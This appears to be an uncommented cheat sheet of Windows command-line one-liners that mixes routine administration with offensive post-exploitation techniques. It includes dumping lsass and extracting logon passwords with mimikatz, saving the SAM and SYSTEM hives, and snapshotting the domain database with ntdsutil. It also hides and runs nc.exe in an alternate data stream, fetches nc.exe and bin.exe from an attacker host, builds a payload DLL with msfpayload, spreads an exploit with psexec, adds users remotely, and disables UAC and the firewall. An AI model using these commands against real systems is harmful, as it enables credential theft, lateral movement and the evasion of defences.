C:\>netsh interface ipv4 show neighbors

C:\>netsh wlan show networks mode=b

C:\>ipconfig | find /I "pv"

for /F "tokens=2* delims= " %i in ('sc query ^| find /I "ce_name"') do @sc qc %i %j

C:\>reg save HKLM\SAM "%temp%\SAM.reg"

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

bcdedit /set bootlog yes

PS C:\>Checkpoint-Computer -description "Restore point!"

C:\> whoami /priv | findstr "Debug"

C:\> whoami /priv

C:\>net user test /active:yes (no)

C:\>net help user

PS C:\> (Get-Process | Sort-Object -Descending WS)[0]

C:\>type data.txt > C:\windows\explorer.exe:newads.txt

C:\> tasklist /FO CSV > tasks.txt

C:\> rundll32 user32.dll,LockWorkStation

C:\> explorer /select,C:\MyData\sample.docx

C:\>vboxmanage debugvm "WinXPLab1" dumpguestcore --filename winxplab1.elf

C:\> tzutil /s "Eastern Standard Time"

C:\> tzutil /l

C:\> vboxmanage guestcontrol "WinXP" md "C:\\test" --username "user" --password "pass"

C:\> psexec @$ips.txt -s -u adminuser -p pass -f -c \exploits\mp.exe

C:\> net share Apps=C:\Apps /G:everyone,READ /US:10

C:\> fsutil.exe fsinfo drives

C:\> pathping -n www.google.com

C:\> listdlls -u explorer.exe

PS C:\> Get-ADComputer -filter {OperatingSystem -like "*XP*"}

C:\> control sysdm.cpl,,3

C:\> dir /R | find ":$D"

C:\> streams -s .

C:\> procdump -accepteula -ma lsass.exe mini.dmp

mimikatz # sekurlsa::minidump mini.dmp
mimikatz # sekurlsa::logonPasswords

C:\> wmic startup list full

C:\> type c:\tools\nc.exe > c:\nice.png:nc.exe

C:\> start c:\nice.png:nc.exe

C:\> wmic process call create C:\nice.png:nc.exe

C:\> netsh nap client show configuration

C:\> wmic computersystem list /format:csv

C:\> pkgmgr /iu:"TelnetClient"

C:\> sdelete -p 10 a.txt

C:\> sdelete -10 -r C:\data\

C:\> autorunsc -m -c

PS C:\> ipmo BitsTransfer;Start-BitsTransfer -Source http://foo/nc.exe -Destination C:\Windows\Temp\

C:\> wevtutil qe Security /c:10 /f:Text

msfpayload windows/exec cmd=calc.exe R | msfencode -t dll -o rcalc.dll

C:\> rundll32.exe rcalc.dll,1

C:\> runas /noprofile /user:domain\username "mmc wf.msc"

Get-EventLog -log system -n 1000 | Where {$_.eventid -eq '1074'} | fl -pr *

C:\> ntdsutil sn "ac i ntds" create quit quit

C:\> ntdsutil snapshot "list all" "mount 1" quit quit

C:\> wmic /node:ip process call create "net user dum dum /add"

C:\> reg query "HKCU\Software\Microsoft\Terminal Server Client\Servers" /s

C:\> query process *

netsh int ip reset c:\tcpresetlog.txt

C:\> net session | find "\\"

C:\> wmic /node:remotebox nicconfig where Index=1 call EnableStatic ("192.168.1.4"), ("255.255.255.0")

PS C:\> powershell -ExecutionPolicy Bypass -Noninteractive -File .\lastboot.ps1

C:\> wmic /node:target process list brief /every:1

C:\> wmic /node:target process get commandline, name

C:\> sc \\target config vss start= auto
C:\> sc \\target start vss

C:\>for /F %i in (ips.txt) do ping -n 1 %i | find "bytes="

C:\> netsh winhttp import proxy source=ie

C:\> driverquery /FO list /v

C:\> gpresult /z /h outputfile.html

C:\> winmgmt /resetrepository

C:\> mklink <link> <target>
C:\> mklink D:\newlink.txt E:\thisexists.txt

C:\> ocsetup TFTP /quiet

C:\> tftp -i attacksrv get bin.exe

C:\> netsh advfi fi sh rule name=all

C:\> set log
C:\> nltest /dcname:DOMAIN

C:\> nltest /dclist:DOMAIN

C:\> netsh http sh ca

C:\> curl -v -H "Range: bytes=234234-28768768" "http://host/a.png" -o a.png

PS C:\> [http://System.IO.Directory ]::GetFiles("\\.\\pipe\\")

C:\> vboxmanage list -l vms > a.txt

PS C:\> qwinsta /server: | foreach {($_.trim() -replace "\s+",",")} | ConvertFrom-Csv

C:\> wmic /node:@file /output:out.txt qfe list full

C:\> netsh wlan export profile

PS C:\> Add-Type -A System.IO.Compression.FileSystem;[IO.Compression.ZipFile]::ExtractToDirectory(src,dst)

control.exe /name Microsoft.NetworkandSharingCenter

C:\> wmic /node:@ips.txt /user:u /password:p process call create "net <start> msftpsvc"

C:\> forfiles /s /c "cmd /c if @fsize gtr 100000 echo @path @fsize bytes"

for /f "delims=" %i in ('reg query "HKCU\Software\Microsoft\Terminal Server Client\Servers"') do reg query "%i"

C:\> schtasks /query /fo LIST /v

C:\> rundll32 keymgr.dll,KRShowKeyMgr

PS C:\> gwmi -n root -cl __Namespace | Select name

PS C:\> gwmi -n root\cimv2 -li

C:\> vboxmanage clonehd myvdi.vdi myvmdk.vmdk --format VMDK

C:\Projects> forfiles /S /M *.csv /C "cmd /c ren @file @fname.xls"

for /F %i in ('VBoxManage list runningvms') do VBoxManage guestproperty enumerate %i | find "IP"

C:\> pnputil -e

C:\> pnputil -i -a path_to_inf

C:\> reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system /v EnableLUA /t REG_DWORD /d 0 /f

C:\> netsh advfirewall set allprofiles state off

PS C:\> (New-Object -c Microsoft.Update.Session).CreateUpdateSearcher().Search("IsInstalled=0").Updates|Select Title

C:\>reg save HKLM\SAM SAM
C:\>reg save HKLM\SYSTEM SYSTEM

PS C:\> [Convert]::ToBase64String((gc -Pa "a.exe" -En By))

PS C:\> sc -Path "a.exe" -Val ([Convert]::FromBase64String((gc -Pa "b64.txt" ))) -En By

wmic service where StartName="LocalSystem"|findstr /IV ":\WIN :\PROG"

manage-bde -status -cn <box>

PS C:\> Get-EventLog -Log Security | ?{$_.EntryType -eq 'FailureAudit'} | epcsv log.csv

PS C:\> gi * -s *

PS C:\> gc <file> -s <ADSName>

PS C:\> sc <file> -s <ADSName>

PS C:\> ri <file> -s <ADSName>

C:\> winsat cpuformal -v
C:\> winsat memformal -v
C:\> winsat diskformal -v

C:\> netsh int p add v4tov4 <LPORT> <RHOST> [RPORT] [LHOST]

Step 1. Get Index of Network Adapter:
C:\> wmic nicconfig get caption,index

Step 2. Use the index 
C:\> wmic nicconfig where index=1 call SetTcpipNetbios 1

0-Def
1-En
2-Dis

C:\> for /F %i in ('dir /b /s *.vdi ^| find ".vdi"') do vboxmanage modifyhd --compact %i

C:\>"%ProgramFiles%\Windows Defender\MpCmdRun.exe" -scan -scantype 2

Use #wmic /node:@ips process for multiple.

PS C:\> ([char[]](38..126)|sort{Get-Random})[0..32] -join ''